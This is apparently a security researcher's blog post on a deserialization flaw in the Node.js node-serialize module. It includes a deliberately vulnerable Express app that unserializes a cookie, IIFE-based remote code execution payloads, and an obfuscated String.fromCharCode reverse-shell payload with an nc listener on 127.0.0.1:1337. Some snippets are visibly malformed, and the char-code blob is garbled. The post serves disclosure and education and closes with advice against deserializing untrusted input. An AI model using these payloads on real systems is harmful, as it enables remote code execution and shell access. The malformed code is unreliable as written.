
Ajin Abraham
opensecurity.in

**tl;dr**

Untrusted data passed into `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately invoked function expression (IIFE).

**The Bug**

During a Node.js code review, I happen to see a serialization/deserialization module named `node-serialize`. A cookie value that comes from the request was passed into the `unserialize()` function provided by the module. Here is a sample node.js application to imitate the code:

```javascript
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser());
app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);
        if (obj.username) {
            res.send("Hello " + escape(obj.username));
        }
    }
});
```
Java, PHP, Ruby and Python have a fair share of Deserialization bugs. Some resources explaining these issues:

**Understanding PHP Object Injection**

**Java Deserialization Cheat Sheet**

**Rails Remote Code Execution Vulnerability Explained**

**Arbitrary code execution with Python pickles**

However I couldn’t find any resource that explained deserialization/object injection bugs in Node.js. I thought to do some research on this and after spending some time I was able to exploit a deserialization bug to achieve arbitrary code injection.

**Building the Payload**

I have used node-serialize version 0.0.4 for this research. For successful exploitation, arbitrary code execution should occur when untrusted input is passed into `unserialize()` function. The best way to create a payload is to use the `serialize()` function of the same module.
I created the following JavaScript object and passed it to `serialize()` function.

```javascript
var y = {
    rce : function()
    require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},

var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```

Which gives the following output.

Now we have a serialized string that can be deserialized with `unserialize()` function. But the problem is code execution won’t happen until you trigger the function corresponding to the `rce` property of the object.

Later I figured out that we can use JavaScript’s **Immediately invoked function expression (IIFE)** for calling the function. If we use IIFE bracket () after the function body, the function will get invoked when the object is created. It works similar to a Class constructor in C++.

Now the `serialize()` function with the modified object code is called.

```javascript
var y = {
    rce : function(){
    require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
    }(),

    var serialize = require('node-serialize');
    console.log("Serialized: \n" + serialize.serialize(y));
```

```bash
Ajins-MacBook-Pro:Desktop ajin$ node log.js
Serialized: ("rce":"$_$ND_FUNC$_$ function ()\n\n  \nrequire('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n\n")
```
The IIFE worked fine but the serialization failed. So I tried adding bracket () after the function body of the previously serialized string and passed it to `unserialize()` function and lucky it worked. So we have the exploit payload:

```
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) {
	console.log(stdout) });\n}()"}
```

Passing it to `unserialize()` function will result in code execution.

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){\n\trequire('child_process').exec('ls /', function(error, stdout, stderr) {
		console.log(stdout) });\n}()"}';
serialize.unserialize(payload);
```
Now we know that we can exploit `unserialize()` function in node-serialize module, if untrusted data passed into it. Let’s exploit the vulnerability in the web application to spawn a reverse shell.

**Further Exploitation**

The vulnerability in the web application is that it reads a cookie named profile from the HTTP request, perform base64 decode of the cookie value and pass it to `unserialize()` function. As cookie is an untrusted input, an attacker can craft malicious cookie value to exploit this vulnerability.

I used `nodejsshell.py` for generating a reverse shell payload.

```
$ python nodejsshell.py 127.0.0.1 1337
[+] LHOST = 127.0.0.1
[+] LPORT = 1337
[+] Encoding
```

```
```
Now let's generate the serialized payload and add IIFE brackets () after the function body.

```javascript
"rce": "_$$ND_FUNC$$_ function () {
    eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101
12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1
0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3
4,49,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1
05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112
1,61,32,39,117,110,100,101,102,110,110,101,100,39,41,32,123,32,83,116,114,105,11
2,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,8
4,44,80,79,82,84,41,32,123,10,32,32,32,32,32,32,118,97,114,32,99,108,105,110,116,3
83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,3
2,118,97,114,32,115,104,32,61,32,115,12,97,119,110,40,39,47,98,105,110,47,115,1
6,100,105,110,41,59,32,32,32,32,32,32,115,104,46,115,116,100,111,117,11
1,59,10,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,1
12,3,10,32,32,32,32,32,32,32,99,108,105,110,116,46,101,110,100,40,34,68
2,3,32,32,125,41,59,10,32,32,32,125,41,59,10,32,32,32,99,108,105,101,116,46,
1,111,110,40,39,111,110,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,
101,41,32,123,10,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,
40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,3
2,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10,32,32,3
```
We need to perform Base64 encode of the same, and then make a request to the web server with encoded payload in the Cookie header.
We can now listen for a shell

```bash
nc -l 127.0.0.1 1337
```

And now we have a reverse shell!. An exploitation video is available here: [https://www.youtube.com/watch?v=GFacPoWOcw0](https://www.youtube.com/watch?v=GFacPoWOcw0)

**Final Thoughts**

We exploited a deserialization bug to achieve arbitrary code execution with untrusted user input. The Rule of thumb is never to deserialize untrusted user input. The root cause is that it was using `eval()` internally for deserialization. I also found a similar bug in another module named `serialize-to-js`. In that module, the `require()` function in Node.js has no scope during deserialization of an object with IIFE and they were using `new`
Function() internally for deserialization. We can still achieve code execution with a slightly complex payload.